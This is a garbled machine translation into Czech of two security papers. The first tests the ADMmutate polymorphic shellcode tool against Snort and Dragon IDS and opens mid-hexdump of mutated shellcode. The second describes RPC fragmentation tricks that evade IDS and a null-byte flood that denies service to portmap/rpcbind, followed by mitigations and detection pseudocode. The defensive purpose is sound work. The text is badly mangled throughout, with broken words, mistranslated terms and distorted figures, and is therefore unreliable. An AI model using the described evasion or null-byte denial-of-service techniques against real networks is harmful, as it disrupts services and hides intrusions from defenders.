    0000190 3cb0 58f5 8396 55c0 979e c987 C031 9791 .... f ... V ... A.kP
    0000220 fad0 517a 2d9c bff6 f822 f822 bfff bfff ..zQ .- .. "..." ...
    0000230 f822 f822 bfff bfff f822 f822 bfff bfff "..." ... "..." ...
    *
    00004a0 f822 f822 bfff bfff f822 bfff 9090 9090 "..." ... ".......
    00004b0 fa48 bfff 4111 H ....

výše uvedený řetězec výrazně změnil pokaždé, když byl program spuštěn. NOOP sáně, kódovaný shell kódu, a dekódování motor měnit značné při každém spuštění. To znamená, že polymorfní aspekty kódu zdálo se, že pracovat. Navíc nástroj poskytuje míru úspěšnosti 75%, když byl polymorfismus povoleno. To je docela dobrá, s ohledem na skutečnost, že shell kód byl napsán pro novější Linux kernel, než jsem běžel.

Dále jsem se pokusil zneužít ke vzdálenému program tak, aby bylo možné pozorovat síťový provoz. Bohužel jsem didnât moc štěstí v úspěšném zneužití démona na dálku. Distribuce ADMmutate obsahuje dálkové přepad pro poměrně starý QPOP démon (2.4b2), které jsem couldnât najít k dispozici ke stažení kdekoliv.

Distribuce také obsahuje mutovaný-schopný verzi veřejné LSD využívat pro Solaris snmpXdmi (SPARC Solaris 7 a 8). Tak jsem setup má laboratoř s nejnovější verzí Snort, Tcpdump, a zkušební verze Enterasys Dragon vidět, jak budou IDS systémy reagují. Bohužel, exploit didnât dost práce pro mě i přes několik hodin pokusů a omylů. Nicméně, exploit pokus dělal práci, aniž by byl spuštěn v polymorfní režimu. Můj nejlepší odhad je, že polymorfní verze ve skutečnosti dokončen 100% na vzdálené straně. Ale z nějakého důvodu spojení bylo stále uzavřeno na vzdálené straně před dodáním skořápku do mého konzole. Množství dat přenesených v průběhu obou využije potvrzuje tuto hypotézu.

Snort zjištěny oba pokusů o průnik (s nebo bez polymorfismus), i když pokus o polymorfismus didnât poskytují kořenový shell. Je to pravděpodobně proto, že Snort je upozorňování na parametr RPC namísto složky skutečného shell-kódu. Zde byl ve střehu od Snort:

[**] [1: 569: 2] pokus o přepad RPC snmpXdmi [**]
[Klasifikace: Pokus o oprávnění správce Gain] [Priorita: 1]
01 / 19-17: 52: 23,700069 MY.NET.24.20: 33651 -> MY.NET.24.19: 32.780
TCP TTL: 64 TOS: 0x0 ID: 33776 IpLen: 20 DgmLen: 1500 DF
*** **** Seq: 0xCD4670F6 Ack: 0x25B6BB8 Win: 0x16D0 TcpLen: 32
Možnosti TCP (3) = > NOP NOP TS: 2093852 9673
[Xref => http://www.securityfocus.com/bid/2417]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN -2001-0236]

Zkušební verze Dragon, který jsem používal didnât mít podpis pro snmpXdmi zneužít, a proto wasnât schopen odhalit konkrétní využití. Nicméně, to přece alarm těsně po exploit byl dokončen, protože kód exploitu vydán příkaz co by âuname AAA při otevření kořenový shell. Příkaz âuname AAA na vysoké portu je podpis v Dragon a vygeneroval následující upozornění:

dračí net1 (vnitřní) ZDROJ: MY.NET.24.20 CÍL: MY.NET.24.19	17:53:21
45 00 00 42 85 68 40 00 40 06 77 86 E8 9f 18 14 86 18 13 9f E..Bh @. @. WA ........
83 73 80 0C cd 4e 5c 8e 02 5b 6b B8 80 18 16 d0 1f b4 00 00 .s..ÃN \ .. [Ka ... Ã.Â' ..
01 01 08 0a 00 20 09 00 00 38 8d 5c 2F 62 69 6e 2F 75 6e 61 ..... .... 8 \ / bin / una
6D 65 20 2d 61 0a	me -a.
EVENT1: [HIPORT: SHELL-uname] (tcp, dp = 32780, sp = 33651)

Mým cílem bylo prokázat, že buffer overflow činy by mohly být úspěšně skryto IDS systémy, které ve stejném designu podpis proti specifickým řetězce nalezené v využije. Bohužel, moje zručnost v montážních a C programování je omezená a já wasnât schopen určit, kde se demonstrace, kde se stala chyba. Nicméně vyšetření shell kód mutací pro místní exploit ukazuje, že NOOP sáně a shell kódu podpisy se značně mění s ADMmutate.

Jako útěcha pro čtenáře, K2 představila tento nástroj na Defcon 9 v červenci 2001. Byl jsem přítomen v této řeči, kde ukázal úspěšným využít i bez polymorfismus. Síťové IDS, že úspěšně vyhnul byl nejnovější verzi (v té době) ze společnosti ISS RealSecure. Před mutací, RealSecure úspěšně zděšen, když viděl, jak využít. Ale po mutaci, RealSecure ne alarm.

Odhalování ADMmutate
Vzhledem veškeré úsilí, aby udržel kradmý, může exploit kódovány pomocí ADMmutate být spolehlivě detekovat? Nejlepší přístupy pro detekci Zdá se, že hledá NOOP saně a hledá dekódování motor.

Vzhledem k tomu, existuje omezený počet NOOP substitucí, které mohou nastat na konkrétní architektuře, existuje možnost, v detekci vzor v NOOP saních. Zde je K2âs odpověď na tuto možnost ze souboru README:

Někteří říkají, že v 1K přetečení, kde cca 700bytes představuje 55/256 výběr možných kódů, mohlo by to být prostředkem pro detekci. Nicméně nevěřím, IDS může to udělat velmi efektivně, IA32 pokyny jsou proměnné délky (1-> 16bytes), a to není jednoduchá záležitost dělání byte-per-byte analýzu kódu budou muset dekódovat proud (bitový), a to díky CISC kódování existuje mnoho pobočka je v této logiky, což vede ke zvýšení režie zpracování v procesu detekce. [2]

Na Snort lidé mají pocit, že rýč statistická anomálie motoru detekce vypláchneme některé útoky kódované ADMmutate. Zde je výňatek z Snortu FAQ [3]:

1,10 --faq-- --snort--
Otázka: Slyšel jsem, že je možné použít polymorfní mutátory na shell kód?

A: Ano, a to by mohlo porazit některé z signatur sáně detekčních NOP ale obyčejný využít pravidla by neměly být ovlivněny tímto druhem
z mlžení. SPACE [sic, by měla být SPADE] Detektor statistická anomálie mohou odhalit některé z těchto útoků. Řada dalších
obran jsou v různém stádiu rozpracovanosti a měla by být hotova do 2,0.

Bohužel, zdrojový kód pro 2.0 isnât propuštěn přesto tak ITAS obtížné zjistit, jaké typy obran jsou v různém stádiu rozpracovanosti. Lidé z Dragon také pracují na detekci polymorfního kódu skořápky. Měl jsem e-mailovou výměnu s Ron Gula, původní zakladatele zabezpečení sítě průvodců (nyní součást Enterasys). Ron uvedl, že Dragon 5.1 má 50 aktualizované shellcode podpisů, které byly alarmující o činech, které byly âmutatedâ. Navíc, oni mají nějaký úspěch v detekci obfuscated NOOP sáně.

Next Generation Security Technologies nedávno oznámila dostupnost produktu detekovat a odstranit buffer overflow útoky proti webovým serverům. Společnost zveřejnila bílou knihu nazvanou âPolymorphic Shellcodes vs. aplikací IDS "[4]. Produkt se vyvinuly se zdá být brána na úrovni aplikace, která kontroluje provoz určený k webovým serverům. Obsah, který je známo, že je škodlivý a obsah, který se objeví jako polymorfní shell kód nebudou předány back-end serverů. tato technika využívá tento program odhalit polymorfní shell kód je podívat se na přibližně 50 až 60 bajtů provozu a zjistit, zda to vidí mutovaný NOOP sáně. Jelikož se jedná o verzi 1.0 uvolnit, komunita má zatím vyhodnotit pro své zásluhy.
Jak ukazuje poměrně pomalým pohybem dodavatelů IDS, problém je poměrně obtížné vyřešit a vyžaduje velké množství cyklů CPU. Tyto CPU cykly jsou cenným zdrojem pro systémy IDS, které jsou se snaží držet krok s rychlými sítěmi. Celkově si myslím, že to bude trvat trochu více času pro komerční IDS řešení, aby byl schopen spolehlivě detekovat polymorfní shell kód, i když se zdá, jako někteří dělají dobré pokroky v tomto směru.

Závěrečné myšlenky na ADMmutate
ADMmutate je mocný nástroj a zdá se být poměrně snadno integrovat do starších využije a nových využije v rozvoji. Jakýkoli vývojář, který je schopen napsat exploit od základu by měl být schopen dělat to polymorfní, pomocí API. Tento nástroj byl napsán s stealth na paměti, a zdá se, pracovat, jak inzeroval. Shell kód byl opravdu popletl v testech, které jsem byl schopen vykonávat. Nicméně, IDS dodavatelé pracují na řešení pro detekci tento nástroj a mohou mít větší úspěch v příštích hlavních verzí svého softwaru. Bohužel jediný způsob ochrany proti tomuto útoku je zajistit, aby vaše hostitelé nejsou náchylné k přetečení vyrovnávací paměti útok na prvním místě.

Primárním cílem této analýzy bylo informovat analytik detekce narušení, že polymorfní shell kód skutečně existuje a může být v současné době používán útočníky. Druhým cílem bylo prokázat použití nástroje a jak to může být integrován do stávajících nebo nových využije ke změně podpis exploit, jak je vidět sítí IDS.

Takže příště, které vidíte podezřelý detekovat, ale Donát najít výmluvné A / bin / SHA řetězec, měli byste se blíže podívat na kontextu útoku. Jsou zde nejnovější zranitelnosti vůči službě napaden? Byla služba sondoval dříve? Kolik Data byla odeslána do cílového hostitele? Tyto otázky mohou být vaše jediným vodítkem pro určení, zda služba byla úspěšně využíván.

Odkazy
[1] Aleph1. Rozbíjení zásobníku pro zábavu a zisk. Phrack Magazine. Svazek 49, vložka 14 z 16. listopadu 1996. URL: http://www.phrack.com/phrack/49/P49-14 (Jan 2002)

[2] K2. ADMmutate README . ADMmutate distribuce zdrojový kód. Verze 0.8.4. URL: http://www.ktwo.ca/c/ADMmutate-0.8.4.tar.gz(Jan 2002)

[3] Roesch, Martin. Snort FAQ. Snort distribuci zdrojového kódu. Verze 1.8.3. URL: http://www.snort.org/releases/snort-1.8.3.tar.gz (leden 2002)

[4] Next Generation bezpečnostní technologie. "Polymorfní Shellcodes vs. aplikace IDS." 21.ledna 2002. URL: http://www.ngsec.com/docs/polymorphic_shellcodes_vs_app_IDSs.PDF (leden 2002)

Intrusion Detection System úniky a Denial of Service Použití RPC design nedostatky

Přehled
Robert Grahamâs uvolňování uhnout na začátku února 2001 identifikoval základní Intrusion Detection System (IDS) únikům techniky v aplikaci BackOrifice, DNS (Domain Name Service), FTP (File Transfer Protocol), HTTP (Hyper-Text Transfer Protocol), RPC ( Remote Procedure Call), a SNMP (Simple Network management Protocol). SideStep demonstruje pouze jeden způsob obejití podpis založený na IDSes pomocí protokolu RPC. Tento dokument jde hlouběji do RPC ukázat, jak to funguje, její podstatné nedostatky, pokud jde o zabezpečení sítě, je úplné zveřejnění všech známých únikům techniky a řešení nastaví zvrátit tyto nedostatky jak pro zabezpečení na úrovni sítě a technologie IDS.

Budeme prezentovat tyto informace "v jednoduché angličtině" První z nich - technické podrobnosti budou uvedeny v přílohách. "" Klíčovými body této diskuse jsou:

Existuje nekonečný počet možných způsobů, jak se vyhnout IDSes pomocí nedostatky tkvící v protokolu RPC.
Jedním ze způsobů, úniky představuje Denial-of-Service (DoS) útok na servery RPC a měřítek snadno a rychle do plné Distributed (DDoS) útok typu Denial-of-Service. Tato metoda úniky obsahuje také DoS a DDoS důsledky pro všechny formy IDSes.
Řešení sady z obou sítí, zabezpečení a IDS Technology Perspectives jsou naštěstí relativně snadno proveditelný a efektivní.
Relativní závažnost ohrožení těchto útoků je nanejvýš média.

RPC protokol "V jednoduché angličtině"

Co protokol RPC Má
Podle Merriam-Webster slovník, protokol je "soubor konvencí upravujících nakládání a zejména formátování dat v systému elektronických komunikací". Zjednodušeně řečeno, protokol definuje pravidla klient musí provést při komunikaci se serverem (a naopak) pro určitý druh síťových služeb nabídkami.

Řetěz událostí pro protokol RPC začíná v OSI vrstva 5 (Session vrstvou) s jádrem kódem komunikačních RPC konvencí. Na OSI vrstva 6 (prezentace), XDR (externí datová reprezentace) kóduje vstup do a dekóduje výstup z portmap / rpcbind serveru OSI vrstvy 7 (aplikace). Pro účely tohoto článku, portmap a rpcbind jsou podobné služby s různými jmény, protože běží na různých verzích systému UNIX. Oba fungují na protokolu TCP a UDP port 111 a / nebo 32771 přes 32779. si můžete představit portmap / rpcbind jako telefonní seznam, že programy založené na RPC musí používat mluvit mezi sebou navzájem. Portmap (Linux, xBSD) / rpcbind (Solaris) serverâs cílem je působit jako centrální registrační zařízení pro všechny ostatní služby RPC bázi, jako je NFS (Network File System) a NIS (Network Information System). Při spuštění tyto služby, které evidují porty budou naslouchající s portmap / rpcbind. Když RPC volání přichází z jiné aplikace nebo služby, musí požádat portmap / rpcbind portu služby, kterou chce mluvit s. Když portmap / rpcbind vrátí tyto informace volajícího, volající bude používat to, aby začít přímou komunikaci se službou, že se snaží. Tyto úniky a útočných technik budeme diskutovat cílového portmap / rpcbind.

Normální RPC Request-for-Information "konverzace"
rpcinfo nástroj je poskytován v systému UNIX pro dotazování portmap / rpcbind o informaci, kterou má o službách RPC bázi registrovaných s ním. Volba -p, aby rpcinfo požádá portmap / rpcbind vrátit všechny dostupné informace o každé službě registrovaných s ním. rpcinfo -p je často používán hackery nebo systémové crackery ke shromažďování informací o jaké služby RPC jsou nabízeny v daném stroji tak, aby mohly rozhodnout, které, pokud vůbec, metody útoku RPC na bázi mají v pohotovosti se bude vztahovat na cílovém hostiteli ,

Normální rpcinfo -p příkaz odpovídá následujícím anglické konverzace:

rpcinfo : ". Toto je poslední fragment údajů Musím tě poslat Fragment dat je 40 bajtů dlouhé chci použít tento sledovací číslo, aby náš rozhovor synchronizovány.. jsem umístění zprávy volání. já používám RPC verze číslo 2. Musím mluvit s portmap / rpcbind a myslím, že jeho číslo verze programu bude rovněž 2. ptám portmap / rpcbind poskytnout veškeré informace, které má asi každý zapsaná služba na lokálním počítači. nejsem použití jakéhokoliv ověření nebo ověřovací mechanismus. "

portmap / rpcbind :.. "Vzhledem k tomu, data, která jsou mi posílá představuje poslední fragment údajů budete muset poslat můžu začít zpracovávat jej Toto je poslední fragment dat budu posílat k vám a to je 988 bajtů délka I potvrdí vaše konverzace sledovací číslo tím, že pošle ji zpět k vám. posílám odpověď na zprávu na váš požadavek. Protože váš vstup byl formátován správně jsem přijal vaši výzvu zprávy. Protože jsi mi žádné ověření pravosti nebo ověření dat prezentovány, jsem wonât použít jakýkoliv, a to buď. Váš hovor zpráva úspěšně proveden. mám informace, které jste žádali. Každý kus informací bude mít různé délky. Když jsem dokončil vám posílali všechny informace mám, budu vám říci, že neexistuje žádná informace, odešel k odeslání a naše konverzace budou uzavřeny. "

SideStep RPC Request-for-Information "konverzace" obcházet Program provádí také požádat o rpcinfo -p, ale jinou metodou, která se snaží vyhnout IDSes změnou vzoru rozhovoru.Obejít : ".. Toto není poslední fragment údajů Musím tě poslat Tato data fragment je jeden byte dlouhý Tady je to, že datový bajt budu opakovat tato zpráva 39 vícekrát." Portmap / rpcbind : "Vzhledem k tomu, data, která jsou posílání mě nepředstavuje poslední fragment dat máte k odeslání, nebudu moci začít zpracovávat váš požadavek, dokud mi říct, že jste poslední datový fragment "poslal vyhnout : ..this je poslední datový fragment. Jedná se o jeden byte. Zde je, že byte. Mé poselství je dokončena ". Portmap / rpcbind :. ..it Trochu trvalo déle, než je obvyklé, ale teď mít všechny údaje, které jste mi poslal, takže můžu začít zpracovávat jej Toto je poslední fragment dat budu posílat pro vás a to je 988 bajtů. Uznávám vaše konverzace sledovací číslo tím, že pošle ji zpět k vám. posílám odpověď na zprávu na váš požadavek. Protože váš vstup byl formátován správně jsem přijal vaši výzvu zprávy. Protože mě prezentovány žádné ověřování nebo ověřování dat, wonât mohu použít jakékoliv, a to buď. Váš hovor zpráva úspěšně proveden. mám informace, které jste žádali. Každý kus informací bude mít různé délky. Když jsem dokončil vám posílali všechny informace mám, já vám řekne, že neexistuje žádná informace vlevo odesílat a náš rozhovor bude uzavřena. "Beyond SideStep Rozhovor vzor používaný obcházet je statická z jednoho vyvolání k druhému. Tato skutečnost umožňuje IDS podpis založený na identifikaci jeho techniku a generovat upozornění. Bohužel, statická technika, kterou vyhnout není jediný možný. Zde je variací na téma únikům. Hacked-up klienta RPC :. "To není poslední fragment údajů Musím tě poslat Tato data fragment je sedm bytů dlouhý Zde jsou ty bajty To není poslední fragment údajů Musím tě poslat Tyto údaje... fragment je tři bajty dlouhá. Tady jsou ty bajtů. To není poslední fragment údajů musím tě poslat. Tato data fragment je pět bytů. Zde jsou ty bajtů. To není poslední fragment dat musím poslat vy. Tato data fragment je devět bytů. Zde jsou ty bajtů. To není poslední fragment údajů musím tě poslat. Tato data fragment je dva bajty dlouhá. Tady jsou ty bajtů. To není poslední fragment dat musím tě poslat. Tato data fragment je šest bytů. Zde jsou ty bajtů. To není poslední fragment údajů musím tě poslat. Tato data fragment je sedm bytů. Zde jsou ty bajtů. Jedná se o poslední Data fragment. je to jeden byte. Zde je, že byte. Má dokončení zprávy. " portmap / rpcbind : "Vzhledem k tomu, data, která jsou mi posílá nepředstavuje poslední fragment data, která jste k odeslání, nebudu moci začít zpracovávat váš požadavek, dokud mi říct, že jste poslední datový fragment poslal" portmap / rpcbind : ..it trvalo o něco déle než obvykle, ale teď mít všechny údaje, které jste mi poslal, takže můžu začít zpracovávat. Jedná se o poslední fragment dat budu posílat k vám a to je 988 bajtů. Beru na vědomí vaše konverzace sledovací číslo tím, že pošle ji zpět k vám. Posílám odpověď na zprávu na váš požadavek. Protože váš vstup byl formátován správně jsem přijal vaši výzvu zprávy. Vzhledem k tomu, že mi představil žádné ověřování nebo ověřování dat, wonât mohu použít jakékoliv, a to buď. Váš hovor Zpráva úspěšně proveden. Mám informace, které jste žádali. Každá informace budou mít různé délky. Když jsem dokončil vám posílali všechny informace mám, řeknu vám, že neexistuje žádná informace, odešel k odesílání a náš rozhovor bude uzavřena. " Z vyhnout konverzaci a varianta, je zřejmé, že jakýkoliv rozhovor (úniky) vzor může být vytvořen za předpokladu, že tato pravidla jsou dodržovány:

1. Všechny hodnoty byte fragment zpráv používá se musí přidat až 40 let.

2. Všechny datové bajty musí být správně zakódována ve zprávě.

3. Všechny zprávy údaje fragmenty s výjimkou posledního musí být uvedeno, že více datových fragmentů následovat a musí být řádně uvést počet datových bytů, které následují.

4. Jeden Poslední zprávy fragment musí být zaslány s platnou délkou a souvisejících datových bajtů.

Položka (1) výše uvedeného vyplývá, že celkový počet možných variací konverzace jsou 40! nebo 8,159 x 10 ⁴⁷ . A IDS podpis na bázi nemůže vyrovnat se s tak velkým počtem podpisů, i když jedna je všechny mohl psát. Která nutí IDSes podpis na bázi začlenit RPC dekódovací algoritmus protokol k extrakci "normální konverzaci" a běh, které vedou přes analýzu signaturách odpovídající. Pozorovali jsme, že minimální počet bajtů pro konverzaci request-pro-informace (uskupení A od normálního rpcinfo -p) 44 bajtů dat. SideStep používá maximální počet bajtů pro její statické variantu, která přijde na 200 bajtů. Všechny varianty konverzace bude používat ne méně než 44 bajtů a ne více než 200 bajtů. Z dekódovací hlediska to není velké množství dat manipulovat, takže IDS protokol RPC dekodér by neměly vynakládat značné dodatečné zatížení. Bohužel, je tam jeden konverzace technika, která je toxická pro oba portmap / rpcbind a IDSes, které využívají dekódování protokolu RPC.

Toxickému RPC Request-for-Information "Conversation" aka "Null-Byte Kódování"
v předcházejících diskusích jsme vždy předpokládat sadu logických podmínek pro RPC fragmentů zpráv - že jsme byli nebo nebyli zaslání poslední fragment údajů ao že datové bajty měly některé délku větší než nula. Co se stane, když nastavíte délku dat na nulu? Je nutno u toho, co že konverzace vypadá - myslím, Jacka Nicholsona v The Shining ;-)

Klient Hacked-up RPC :.. "To není poslední fragment údajů Musím tě poslat Tato data fragment je nula bajtů dlouhé To není poslední fragment dat musím tě poslat. Tato data fragment je nula bytů. Toto není poslední fragment údajů musím tě poslat. Tato data fragment je nula bajtů dlouhé ...

(Miliony těchto zpráv později)

To je ne poslední fragment údajů musím tě poslat. Tato data fragment je nula bajtů dlouhá. To není poslední fragment údajů musím tě poslat. Tato data fragment je nula bytů. Toto není poslední fragment dat musím tě poslat. Tato data fragment je nula bytů. Toto není poslední fragment údajů musím tě poslat. Tato data fragment je nula bajtů dlouhé ....
(I když se to děje, portmap / rpcbind je myšlení ...)

portmap / rpcbind : "nemohu dělat nic jiného než čekat, až mi oznámí, že fragment poslední data byla odeslána. Nemohu mluvit s nikým jiným, dokud nebude dokončen váš rozhovor. "

Rozhovor představuje denial of service jak proti vzdáleného portmap / rpcbind server a IDS, který se pokouší dekódovat konverzace. V našich experimentech s" null- byte "konverzace, jsme zjistili, že portmap / rpcbind zapře připojení k jakékoli jiné aplikace založené na RPC, který potřebuje své služby, zatímco toxický konverzace probíhá. jsme nenašli, že portmap / rpcbind spadne, ale pak jsme se tlačil limity velmi těžké. největší jediná nulový byte kódovaný proud jsme se pokusili přišli na 400 milionů bajtů. Tento útok popřel dopravu do nebo z portmap / rpcbind po dobu asi 10 minut. Pokud si myslíte, že tento rozhovor jako modul, který lze zapojit do k programům DDoS jako TFN, Trin00 nebo Stacheldraht, youâll vidět, že nulový byte technika snadno a rychle váhy ven k síti klenout DoS útoku, který by mohl spotřebovávat značnou šířku pásma. V single-host DoS a síťových DDoS případech IDSes pokoušet protokol dekódovat o této technice je pravděpodobné, že bude ohromen.

Dále jsme zjistili, že legitimní dotazy a úniky mohou být vloženy do potoků null bajtů zpráv. Pokud je správně vytvořen dotaz nebo úniky, bude portmap / rpcbind reagovat nakonec. Zakotvení může být vložena buď jako jeden "bloku", nebo to může být rozptýleny po celém null kódovaný proud. Že schopnost se zvyšuje počet možných úniků do nekonečna, pro všechny praktické účely.

Pozorování, Solutions, atd.

Pozorování: Jádro problému s RPC závisí na jeho fragmentace zprávy funkce. Tomu se říká zpráva âLast Fragment / Fragment Lengthâ (nebo LF / FL v krátkosti). portmap / rpcbind nezačne zpracování žádosti, dokud nebude vědět, že to má svůj poslední datový fragment. Kódování RPC Null-Byte (Last Fragment nastavena na hodnotu Ne a fragmentů nulovou délku), se zdá být dohled ze strany vývojářů protokolu RPC. Tento dohled umožňuje denial-of-service útokům jednotlivých počítačů, které nabízejí služby RPC a váhy ven do sítě DDoS šířky pásma spotřeby útoky.

Solution (y): Existuje naštěstí spousta dobrých způsobů sítí ke zmírnění proti null bajt zaplavení RPC:
- Zablokujte port TCP 111 a 32771 až 32779 (portmap / rpcbind) na síťové hlavy ke konci. Rádi bychom také naznačují pečlivou analýzu požadavků interních-to-interní síť - kde TCP porty 111 a 32771 až 32779 nejsou vyžadovány pro intranetwork komunikaci, blokují je na vnitřních směrovačích stejně.
- Nasazení Wietse Venemaâs náhradní portmap / rpcbind na všech hostitelích UNIX, kteří nabízejí služby RPC. Je-li použit Wietseâs výměna portmapper, příchozí nulový byte proudy jsou zabiti téměř okamžitě, je-li volající hostitel není oprávněn k připojení.
- RPCSEC_GSS (RFC 2203) credentialing a autentizační mechanismus, zdá se, nějaký příslib, ale neviděli jsme k provádění svých funkcí v aktivní síti. Není jasné, v tomto okamžiku, zda je či není null-byte nebo úniky zprávu RPCSEC_GSS vyhovující mohl být vytvořen. Je to také není jasné, jaké výhody RPCSEC_GSS vlastní více než non-AUTH_NULL mechanismy ověřování RPC, pokud jde o tento typ útoku.

Jedná se o zjevné řešení, ale Donát opravdu jít k jádru problému. Lepším řešením by bylo kompenzovat null bajtů zprávy v protokolu RPC samotný prostřednictvím opravy chyb nebo algoritmu redesign. To by mohlo být dosaženo alespoň dvěma způsoby. Člověk by měl odhalit a zabít null bajtů zprávu ihned po obdržení a vypnout relace problematický. To představuje další skryté denial-of-service možnost, pokud je malý nulový byte zpráva odeslaná výslovně za účelem tvorby portmap / rpcbind ukončit komunikaci s jinak legitimní klienta. Druhá metoda by také detekovat nulový byte, ale namísto vypnutí spojení, bylo by namísto toho napsat zprávu o události do syslogu. Odtamtud, IDS hostitel-založené mohl zvednout syslogged oznámení a oznámit svému serveru nebo konzoly pro správu. Toto řešení přidá funkci IDS případu specifické pro protokol RPC.

Jsme nenalezli legitimní potřebu null bajtů zprávy v běžném provozu RPC. Také jsme nenašli případ, ve kterém by měl být "poslední fragment" část příchozí zprávy RPC nastavena na "Ne", a to buď, a to iv případě, že má platný "Fragment Length" a přidružené datové bajty správně kódován. Obě tyto podmínky mohly být detekovány v protokolu RPC fronty a hlášeny syslog, když nastanou jako "Protokol únikem" pokusů. Pojem "protokol jako NIDS" může být schopen měřítko ven tak, aby zahrnovala jiné než RPC protokoly. To má tu výhodu, že otáčení určitou část jádra sítě komunikačních mechanismů do škodlivých detektorů činnosti.

Pozorování: IDS únikům a DoS / DDoS jsou možné pouze v TCP. UDP není v ohrožení.

portmap / rpcbind běží na TCP a UDP v přístavech 111 a 32771 až 32779. Důvodem UDP není ovlivněno Je tomu tak proto LF / FL zprávy nejsou používány v konverzacích UDP bázi. Data nelze rozdělené, takže kódování nulový byte není možné v UDP. Kódování varianty zaměřené na IDS únikům jsou rovněž není možné ve zprávách UDP bázi.

Pozorování: Existuje příliš mnoho platné kódování RPC k podpisu na bázi IDS několika zvládnout.

Řešení: Rozpoznat portmap / rpcbind odpovědi namísto požadavků. Zatímco tam jsou prakticky nekonečný počet možných rpcinfo -p kódování, je tam jen jedna odpověď - za portmap / rpcbind Dump Odpověď zprávy bylo diskutováno dříve. Že odpověď bude důsledně zjistitelná IDS, pokud dojde k narušení hostitelského serveru portmap / rpcbind - v tomto případě, tam jsou mnohem větší problémy s bezpečností, jak se vypořádat s protokolem než jen vytáčky. IDS nemusí vědět, jaká metoda byla použita úniky, ale bude znát odpověď byla odeslána. V případě, že odpověď nekoreluje s normálním rpcinfo -p žádost, pak musí být použit únikům.

Pozorování: IDSes, které zaměstnávají přísné dekódovací protokol postupy otevřou až do potenciálu zdrojů hladovění a denial-of-service při zpracování zpráv RPC null bajtů.

Řešení: RPC specifické dekódovací algoritmus protokol by měl být použit, který bere škodlivé kódování v úvahu. Základní algoritmus je následující:

Předpoklady: Příchozí data jsou zaměřeny na rpcbind programu / portmap (TCP porty 111 a 32771 - 32779),
IP a TCP záhlaví jsou zpracovány / zbavený jinde

buffer proměnné délky
LOOP
   čten jako poslední FRAGMENT / Fragment Length
     CASE

       LAST FRAGMENT === NO a Fragment Length ==
       Zero
         FLAG Level Two RPC protokol Evasion
         STOP Processing tento paket
         vypukne jednotlivých případů a LOOP
       POSLEDNÍ FRAGMENT! = YES a Fragment Length! =
       nula
         FLAG Level One protokol RPC Evasion
         ČTĚTE počet bajtů určený podle délky fragmentu do BUFFER
       POSLEDNÍ FRAGMENT == ANO
         IF Fragment Length == rovno nule, pak
           FLAG Level One RPC protokol Evasion
           vyrovnávací paměti pro odesílání na podpis odpovídající motoru
           vypukne jednotlivých případů a LOOP
         JINAK PŘEČTĚTE počtu bytů určených Fragment Length do PUFR
         SEND BUFFER k podpisu odpovídající motoru
         vymanit se z CASE a LOOP
     END CASE
END LOOP
pufr bez

Zde je stejný algoritmus s komentářem:

buffer mohou mít různou délku
LOOP

volání # RPC jsou kódovány XDR která působí na datovém
# v blocích o délce "n mod 4" ( 4, 8, 12, 16 ... bajtů). Tyto
# Příkaz řetězce jsou všechny čtyři bajty, ačkoli.
   Čten jako poslední FRAGMENT / Fragment Length CASE

     #
     # Pokud jsou čtyři byty jsou všechny nuly, to znamená, že potenciální
     # zdrojů hladovění / denial of service. Jen vlajka protokolu
     # porušení a nechat odchozí podpisy s ní zacházet.
     # Zjednodušeně řečeno, jedná se o NO-OP útok potenciálně nekonečné
     délky # a my nechceme jít tam. ;)
     #

       LAST FRAGMENT == NO a Fragment Length ==
       Zero
         FLAG Level Two RPC protokol Evasion
         STOP Processing tento paket
         vymanit se z případu a LOOP

       #
       # Toto je obcházet úniky nebo variace na to.
       # Tento úniky mohou být vloženy do útoku NO-OP nebo
       # může stát na jeho vlastní.
       # Pokud zjistíme vyhnout následným NO-OP, lámeme
       # z ní v sekci NO-OP výše, aby se zabránilo DoS.
       #

     LAST FRAGMENT! = YES A Fragment Length! =
     Nula
         FLAG Level One protokol RPC Evasion
         ČTĚTE počet bytů určených Fragment Length do BUFFER

       #
       # "80 00" v prvních dvou bytech znamená, že jsme v
       # posledního fragmentu dat, takže bychom se měli připravit zabalit
       # věci do pořádku ...
       #

       lAST fRAGMENT == YES

         #
         # A vyhnout se úniky mohou být vyrobeny tak, aby se
         # zapouzdření všech platných dat před "poslední
         # fragment" je nastaven příznak. V takovém případě je fragment
         # délka musí být nula - musíme být vědomi.
         #

         IF Fragment Length == rovno nule, pak
           FLAG Level One protokol RPC Evasion

           #
           # "80 00 00 0x" znamená vyrovnávací paměti má nyní
           # posledního fragmentu dat (a že údaje o
           # délku "x" bajtů). Pokud se "x" je nula, pak je tu
           # není potřeba nic psát do výstupního
           # vyrovnávací paměti a poté budeme hotovi.
           #

           SEND BUFFER k podpisu odpovídající motoru
           vypukne jednotlivých případů a LOOP

         #
         # V opačném případě pokračujte a vyplňte zbytek
         # výstupního bufferu a odeslat ji na podpis motoru.
         #

         ELSE ČTĚTE počet bytů určených Fragment Length do PUFR SEND BUFFER k podpisu odpovídající motoru
         vymanit se z případu a LOOP
     END CASE
END LOOP
FREE BUFFER

Sečteno podtrženo
Nanejvýš IAD posoudit riziko zabezpečení popsanými v tomto dokumentu jako médium. Existuje příliš mnoho dobrých stávajících řešení by opravňovaly nic víc poplašné. Blok porty TCP a UDP 111 a 32771 prostřednictvím 32779 v čele-end a intranet k intranetu, nasazení Wietseâs portmap / nahrazení rpcbind a youâll být v dobrém stavu na místní úrovni. Že doesnât pomoci dálkových sítí moc, ale thereâs (pravděpodobně) spousta harampádí na drátě již maskující se jako platný obsah. ;-) Tento útok je jen další cihla ve zdi DoS / DDoS z pohledu praktického zabezpečení sítě.

Pro IDSes, které používají přísné dekódování protokolu, které se zabývají únikům technikami protokolu RPC bude problematické. Null-byte proudy by mohlo vést k hladovění zdrojů v rámci samotného IDS. Pokud je sledována přísný přístup dekódovat, očekávali bychom, že IDS čekat na odpovídající odpověď na příchozí dotaz - a jak jsme prokázali, že čekání by mohla být dlouhá. Pokud jsou četné nulový byte proudy současně zasílá, budou dotčené IDS mají četné závity svázaná v procesu dekódovat, proto je potenciál pro hladovění zdrojů. Naše výsledky ukazují, že je třeba vzít v modifikovaná dekódovací přístup protokol, aby se zabránilo spotřebu zdrojů. V podstatě lze říci, dekodér IDS RPC potřebuje znát jen vyhýbavé fragmentací kódovací techniky, příznak, který pokus úniky, a nechal jeho podpis motoru detekovat odchozí odpovědi na zakódovaných dotazů. Takto upravený dekódování přístup řeší problém zdrojů hladovění, identifikuje pokusy o úniky, a zjišťuje odpovědi dotazu.

